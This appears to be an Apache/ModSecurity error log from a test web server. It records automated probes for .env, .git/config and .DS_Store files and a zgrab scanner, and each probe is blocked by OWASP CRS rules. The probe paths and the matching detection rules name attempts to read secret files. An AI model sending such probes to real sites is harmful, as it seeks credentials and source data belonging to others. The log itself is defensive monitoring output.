[Sat Jul 19 11:09:31.272668 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aHtgyxRg3acxdm2fAA9EsQAAAAs"]
[Sat Jul 19 11:09:31.292619 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aHtgyxRg3acxdm2fAA9EsgAAAAs"]
[Sat Jul 19 11:09:31.292819 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aHtgyxRg3acxdm2fAA9EsgAAAAs"]
[Sat Jul 19 11:09:31.292985 2025] [:error] [pid 1292411] [client 185.177.72.16:23518] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aHtgyxRg3acxdm2fAA9EsgAAAAs"]
[Sat Jul 19 14:32:32.034676 2025] [:error] [pid 1292409] [client 185.177.72.3:9484] [client 185.177.72.3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHuQYPB7y0eI57ET6H6PwgAAAAk"]
[Sat Jul 19 14:32:32.034972 2025] [:error] [pid 1292409] [client 185.177.72.3:9484] [client 185.177.72.3] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHuQYPB7y0eI57ET6H6PwgAAAAk"]
[Sat Jul 19 14:32:32.035143 2025] [:error] [pid 1292409] [client 185.177.72.3:9484] [client 185.177.72.3] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHuQYPB7y0eI57ET6H6PwgAAAAk"]
[Sat Jul 19 23:19:05.692764 2025] [:error] [pid 1307560] [client 185.177.72.104:24332] [client 185.177.72.104] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHwLyZbKMSVimI6c3Na2kgAAAAA"]
[Sat Jul 19 23:19:05.693050 2025] [:error] [pid 1307560] [client 185.177.72.104:24332] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHwLyZbKMSVimI6c3Na2kgAAAAA"]
[Sat Jul 19 23:19:05.693217 2025] [:error] [pid 1307560] [client 185.177.72.104:24332] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHwLyZbKMSVimI6c3Na2kgAAAAA"]
[Mon Jul 21 22:19:28.610216 2025] [:error] [pid 1359597] [client 185.177.72.202:16734] [client 185.177.72.202] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aH6g0LmwlABwH_MGUW3ahgAAAAM"]
[Mon Jul 21 22:19:28.614081 2025] [:error] [pid 1359597] [client 185.177.72.202:16734] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aH6g0LmwlABwH_MGUW3ahgAAAAM"]
[Mon Jul 21 22:19:28.614263 2025] [:error] [pid 1359597] [client 185.177.72.202:16734] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aH6g0LmwlABwH_MGUW3ahgAAAAM"]
[Tue Jul 22 01:50:40.955808 2025] [:error] [pid 1363502] [client 93.123.109.7:54696] [client 93.123.109.7] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aH7SUIM0N1FChoKEgwP9LwAAAA4"]
[Tue Jul 22 01:50:40.956127 2025] [:error] [pid 1363502] [client 93.123.109.7:54696] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aH7SUIM0N1FChoKEgwP9LwAAAA4"]
[Tue Jul 22 01:50:40.956302 2025] [:error] [pid 1363502] [client 93.123.109.7:54696] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aH7SUIM0N1FChoKEgwP9LwAAAA4"]
[Tue Jul 22 21:14:11.361757 2025] [:error] [pid 1366311] [client 216.81.248.58:58398] [client 216.81.248.58] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aH_jA4fXeHd4PkoXBcg9RAAAAAI"]
[Tue Jul 22 21:14:11.362082 2025] [:error] [pid 1366311] [client 216.81.248.58:58398] [client 216.81.248.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aH_jA4fXeHd4PkoXBcg9RAAAAAI"]
[Tue Jul 22 21:14:11.363016 2025] [:error] [pid 1366311] [client 216.81.248.58:58398] [client 216.81.248.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aH_jA4fXeHd4PkoXBcg9RAAAAAI"]
[Wed Jul 23 07:30:17.958852 2025] [:error] [pid 1392107] [client 185.177.72.9:25738] [client 185.177.72.9] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aIBzaSi7MZQTXQmUV0d11AAAAAY"]
[Wed Jul 23 07:30:17.959118 2025] [:error] [pid 1392107] [client 185.177.72.9:25738] [client 185.177.72.9] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aIBzaSi7MZQTXQmUV0d11AAAAAY"]
[Wed Jul 23 07:30:17.959287 2025] [:error] [pid 1392107] [client 185.177.72.9:25738] [client 185.177.72.9] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aIBzaSi7MZQTXQmUV0d11AAAAAY"]
[Thu Jul 24 04:33:47.321948 2025] [:error] [pid 1416195] [client 185.177.72.3:46814] [client 185.177.72.3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aIGbiwZXMqc2or3m0d36bwAAAAE"]
[Thu Jul 24 04:33:47.322205 2025] [:error] [pid 1416195] [client 185.177.72.3:46814] [client 185.177.72.3] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aIGbiwZXMqc2or3m0d36bwAAAAE"]
[Thu Jul 24 04:33:47.322389 2025] [:error] [pid 1416195] [client 185.177.72.3:46814] [client 185.177.72.3] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aIGbiwZXMqc2or3m0d36bwAAAAE"]
[Sat Jul 26 18:34:47.035005 2025] [:error] [pid 1466143] [client 18.224.192.118:53021] [client 18.224.192.118] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aIUDp3DqFqpSJ5p8wD-SqwAAAAY"]
[Sat Jul 26 18:34:47.036518 2025] [:error] [pid 1466143] [client 18.224.192.118:53021] [client 18.224.192.118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aIUDp3DqFqpSJ5p8wD-SqwAAAAY"]
[Sat Jul 26 18:34:47.036737 2025] [:error] [pid 1466143] [client 18.224.192.118:53021] [client 18.224.192.118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aIUDp3DqFqpSJ5p8wD-SqwAAAAY"]
[Sun Jul 27 12:54:47.322563 2025] [:error] [pid 1489729] [client 213.209.143.116:46776] [client 213.209.143.116] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aIYFd67ZgLN_6KSBenwxVgAAAAU"]
[Sun Jul 27 12:54:47.322780 2025] [:error] [pid 1489729] [client 213.209.143.116:46776] [client 213.209.143.116] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aIYFd67ZgLN_6KSBenwxVgAAAAU"]
[Sun Jul 27 12:54:47.322960 2025] [:error] [pid 1489729] [client 213.209.143.116:46776] [client 213.209.143.116] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aIYFd67ZgLN_6KSBenwxVgAAAAU"]
[Tue Jul 29 22:17:13.385606 2025] [authz_core:error] [pid 1540914] [client 164.92.244.132:60224] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Tue Jul 29 22:17:13.665605 2025] [:error] [pid 1542295] [client 164.92.244.132:60248] [client 164.92.244.132] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aIksSTTp6qacvxjz3l_sPgAAAAs"]
[Tue Jul 29 22:17:13.665849 2025] [:error] [pid 1542295] [client 164.92.244.132:60248] [client 164.92.244.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aIksSTTp6qacvxjz3l_sPgAAAAs"]
[Tue Jul 29 22:17:13.666023 2025] [:error] [pid 1542295] [client 164.92.244.132:60248] [client 164.92.244.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aIksSTTp6qacvxjz3l_sPgAAAAs"]
[Tue Jul 29 22:17:13.718813 2025] [:error] [pid 1540881] [client 164.92.244.132:60254] [client 164.92.244.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aIksSUbiVDHKFm-iSgDPhAAAAAI"]
[Tue Jul 29 22:17:13.719057 2025] [:error] [pid 1540881] [client 164.92.244.132:60254] [client 164.92.244.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aIksSUbiVDHKFm-iSgDPhAAAAAI"]
[Tue Jul 29 22:17:13.719223 2025] [:error] [pid 1540881] [client 164.92.244.132:60254] [client 164.92.244.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aIksSUbiVDHKFm-iSgDPhAAAAAI"]
[Tue Jul 29 22:17:13.777926 2025] [:error] [pid 1550010] [client 164.92.244.132:60270] [client 164.92.244.132] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aIksSawfOzB8rmJrwphWNQAAAAA"]
[Tue Jul 29 22:17:13.778143 2025] [:error] [pid 1550010] [client 164.92.244.132:60270] [client 164.92.244.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aIksSawfOzB8rmJrwphWNQAAAAA"]
[Tue Jul 29 22:17:13.778303 2025] [:error] [pid 1550010] [client 164.92.244.132:60270] [client 164.92.244.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aIksSawfOzB8rmJrwphWNQAAAAA"]
